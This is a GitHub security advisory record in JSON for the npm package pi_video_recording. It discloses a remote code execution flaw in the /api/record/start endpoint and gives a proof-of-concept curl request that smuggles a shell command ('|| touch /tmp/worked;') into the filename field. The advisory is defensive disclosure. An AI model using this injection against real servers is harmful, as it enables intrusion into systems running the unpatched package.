{"id":"GHSA-9wjh-jr2j-6r4x","aliases":["GHSA-9wjh-jr2j-6r4x"],"related":[],"kind":"vulnerability","state":"published","title":"Remote Code Execution in pi_video_recording","summary":"All versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"All versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","format":"markdown","source":"ghsa"}],"published":"2020-09-02T15:55:58.000Z","modified":"2020-08-31T18:35:14.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"npm","package":"pi_video_recording","purl":"pkg:npm/pi_video_recording","source":"ghsa"}],"references":[{"url":"https://www.npmjs.com/advisories/773","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9wjh-jr2j-6r4x","url":"https://github.com/advisories/GHSA-9wjh-jr2j-6r4x","licence":"CC-BY-4.0","modified":"2020-08-31T18:35:14.000Z"}],"updatedAt":"2026-11-25T22:56:44.989Z"}